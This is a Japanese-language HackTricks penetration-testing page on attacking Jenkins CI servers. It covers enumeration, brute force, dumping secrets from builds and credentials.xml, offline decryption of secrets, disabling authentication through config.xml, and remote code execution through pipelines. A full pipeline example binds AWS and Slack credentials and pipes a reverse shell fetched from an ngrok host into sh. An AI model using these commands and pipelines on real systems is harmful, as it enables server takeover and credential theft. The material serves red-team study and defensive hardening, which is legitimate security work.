Jenkins Security

Reading time: 21 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Jenkinsは、パイプラインを使用してほぼすべてのプログラミング言語とソースコードリポジトリの継続的インテグレーションまたは継続的デリバリー(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。

Basic Jenkins Information

認証されていない列挙

認証なしで興味深いJenkinsページを検索するには(例:/people_や/asynchPeople_、これは現在のユーザーをリストします)、次のようにします:

msf> use auxiliary/scanner/http/jenkins_enum

認証なしでコマンドを実行できるか確認してください:

msf> use auxiliary/scanner/http/jenkins_command

資格情報がない場合、/asynchPeople/ パスや /securityRealm/user/admin/search/index?q=ユーザー名 を確認できます。

/oops または /error パスから Jenkins のバージョンを取得できるかもしれません。

既知の脆弱性

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

ログイン

基本情報では、Jenkins 内にログインするすべての方法を確認できます:

Basic Jenkins Information

登録

アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。それだけです。

SSO ログイン

また、SSO 機能/プラグイン が存在する場合は、テストアカウント(例:テスト Github/Bitbucket アカウント)を使用してアプリケーションにログインを試みるべきです。 こちらのトリック。

ブルートフォース

Jenkinsパスワードポリシーユーザー名のブルートフォース緩和 が不足しています。弱いパスワードユーザー名をパスワードとして使用している可能性があるため、ユーザーをブルートフォースすることが重要です。逆のユーザー名をパスワードとして使用している場合もあります。

msf> use auxiliary/scanner/http/jenkins_login

パスワードスプレー

Use this python script or this powershell script.

IPホワイトリストバイパス

多くの組織は、SaaSベースのソース管理(SCM)システム(GitHubやGitLabなど)を内部の自己ホスト型CIソリューション(JenkinsやTeamCityなど)と組み合わせています。この設定により、CIシステムはSaaSソース管理ベンダーからのウェブフックイベントを受信し、主にパイプラインジョブをトリガーすることができます。

これを実現するために、組織はSCMプラットフォームIP範囲ホワイトリストに登録し、ウェブフックを介して内部CIシステムにアクセスできるようにしています。しかし、誰でもGitHubやGitLabにアカウントを作成し、ウェブフックをトリガーするように設定できるため、内部CIシステムにリクエストを送信する可能性があります。

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

内部Jenkinsの悪用

これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。

warning

Jenkinsに設定された認証メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を実行できる場合とできない場合があります。

詳細については、基本情報を確認してください:

Basic Jenkins Information

ユーザーのリスト表示

Jenkinsにアクセスした場合、http://127.0.0.1:8080/asynchPeople/で他の登録ユーザーをリスト表示できます。

プレーンテキストの秘密を見つけるためのビルドのダンプ

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH資格情報の盗難

もし侵害されたユーザーが新しいJenkinsノードを作成/変更するのに十分な権限を持っている場合、他のノードにアクセスするためのSSH資格情報がすでに保存されていると、彼はホストを設定して資格情報を記録することによってそれらの資格情報を盗むことができます。ホストキーを検証せずに:

通常、JenkinsのSSH資格情報はグローバルプロバイダー/credentials/)に見つかるので、他の秘密をダンプするのと同様にダンプすることもできます。詳細は秘密のダンプセクションを参照してください。

JenkinsにおけるRCE

Jenkinsサーバーでシェルを取得することは、攻撃者にすべての秘密環境変数を漏洩させ、同じネットワークにある他のマシンを悪用したり、さらにはクラウド資格情報を収集する機会を与えます。

デフォルトでは、JenkinsはSYSTEMとして実行されます。したがって、これを侵害することで攻撃者はSYSTEM権限を得ることになります。

プロジェクトの作成/変更によるRCE

プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です:

Jenkins RCE Creating/Modifying Project

Groovyスクリプトの実行によるRCE

Groovyスクリプトを実行することでRCEを取得することも可能で、これは新しいプロジェクトを作成するよりもステルス性が高いかもしれません:

Jenkins RCE with Groovy Script

パイプラインの作成/変更によるRCE

パイプラインを作成/変更することによってもRCEを取得できます:

Jenkins RCE Creating/Modifying Pipeline

パイプラインの悪用

パイプラインを悪用するには、Jenkinsへのアクセスが必要です。

ビルドパイプライン

パイプラインプロジェクトのビルドメカニズムとしても使用でき、その場合、パイプライン構文を含むリポジトリ内のファイルを設定できます。デフォルトでは/Jenkinsfileが使用されます:

他の場所(例えば他のリポジトリ)にパイプライン構成ファイルを保存することも可能で、リポジトリのアクセスとパイプラインのアクセスを分離することを目的としています。

攻撃者がそのファイルに対して書き込みアクセスを持っている場合、彼はそれを変更し、Jenkinsにアクセスすることなくパイプラインをトリガーすることができるでしょう。
攻撃者はいくつかのブランチ保護を回避する必要があるかもしれません(プラットフォームやユーザー権限によっては回避できる場合もあります)。

カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです:

  • メインブランチへのプルリクエスト(または他のブランチへのプルリクエスト)
  • メインブランチへのプッシュ(または他のブランチへのプッシュ)
  • メインブランチの更新を行い、何らかの方法で実行されるのを待つ

note

あなたが外部ユーザーである場合、他のユーザー/組織のリポジトリのメインブランチにPRを作成しパイプラインをトリガーすることを期待すべきではありません...しかし、不適切に設定されている場合、あなたはこの方法で企業を完全に侵害することができるかもしれません。

パイプラインRCE

前のRCEセクションでは、パイプラインを変更することでRCEを取得する技術がすでに示されています。

環境変数の確認

平文の環境変数をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は機密情報を含むべきではありませんが、攻撃者は常にすべてのパイプライン構成/Jenkinsfileを確認することができます:

bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

秘密のダンプ

Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください:

Basic Jenkins Information

資格情報はグローバルプロバイダー/credentials/)または特定のプロジェクト/job/<project-name>/configure)にスコープできます。したがって、すべての秘密を抽出するには、秘密を含むすべてのプロジェクトを少なくとも侵害する必要があり、カスタム/毒入りパイプラインを実行する必要があります。

もう一つの問題は、パイプラインのenv内の秘密を取得するには、秘密の名前とタイプを知っている必要があることです。たとえば、string 秘密として**usernamePassword** 秘密ロードしようとすると、このエラーが発生します:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

ここでは、一般的なシークレットタイプをロードする方法を示します:

bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

このページの最後にすべての資格情報タイプ見つけることができます: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

warning

すべての秘密を一度にダンプする最良の方法は、Jenkinsマシンを侵害することです(例えば、組み込みノードでリバースシェルを実行する)そして、マスターキー暗号化された秘密漏洩させ、それらをオフラインで復号化します。
これを行う方法については、ノードとエージェントのセクションおよびポストエクスプロイテーションのセクションを参照してください。

トリガー

ドキュメントから: triggersディレクティブは、パイプラインが再トリガーされる自動化された方法を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、triggersは必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーはcronpollSCM、およびupstreamです。

Cronの例:

bash
triggers { cron('H */4 * * 1-5') }

他の例はドキュメントで確認してください

ノードとエージェント

Jenkinsインスタンスは、異なるマシンで異なるエージェントが実行されている可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは、異なる潜在的なクラウド資格情報を盗むことや、他のマシンを悪用するための異なるネットワークアクセスを意味します。

詳細については、基本情報を確認してください:

Basic Jenkins Information

/computer/構成されたノードを列挙できます。通常、Built-In Node(Jenkinsを実行しているノード)と、潜在的に他のノードが見つかります:

Built-Inノードを妥協することは特に興味深いです。なぜなら、それには機密のJenkins情報が含まれているからです。

ビルトインJenkinsノードパイプライン実行したいことを示すために、パイプライン内で次の設定を指定できます:

bash
pipeline {
agent {label 'built-in'}

完全な例

特定のエージェント内のパイプライン、cronトリガーを使用し、パイプラインおよびステージ環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します:

bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

任意ファイル読み取りからRCEへ

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

ポストエクスプロイト

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

/credentials/ にアクセスすることで、十分な権限があればシークレットをリストできます。これは credentials.xml ファイル内のシークレットのみをリストしますが、ビルド構成ファイルにも追加の資格情報が含まれている可能性があります。

各プロジェクトの構成を表示できる場合、リポジトリにアクセスするために使用されている資格情報(シークレット)の名前プロジェクトの他の資格情報も確認できます。

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

これらのファイルはJenkinsシークレットを復号化するために必要です:

  • secrets/master.key
  • secrets/hudson.util.Secret

そのようなシークレットは通常以下に見つかります:

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

これらを見つけるための正規表現は次のとおりです:

bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkinsの秘密をオフラインで復号化する

秘密を復号化するために必要なパスワードをダンプした場合これらの秘密を復号化するために このスクリプト を使用してください

bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

GroovyからJenkinsの秘密を復号化する

bash
println(hudson.util.Secret.decrypt("{...}"))

新しい管理者ユーザーの作成

  1. /var/lib/jenkins/config.xml または C:\Program Files (x86)\Jenkis\ にある Jenkins config.xml ファイルにアクセスします。
  2. <useSecurity>true</useSecurity>という単語を検索し、**truefalse**に変更します。
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Jenkins サーバーを再起動します: service jenkins restart
  5. もう一度 Jenkins ポータルに移動すると、Jenkins はこの時に認証情報を要求しません管理 Jenkins に移動して、管理者パスワードを再設定します。
  6. 設定を <useSecurity>true</useSecurity> に変更して、再度セキュリティを有効にしJenkins を再起動します。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする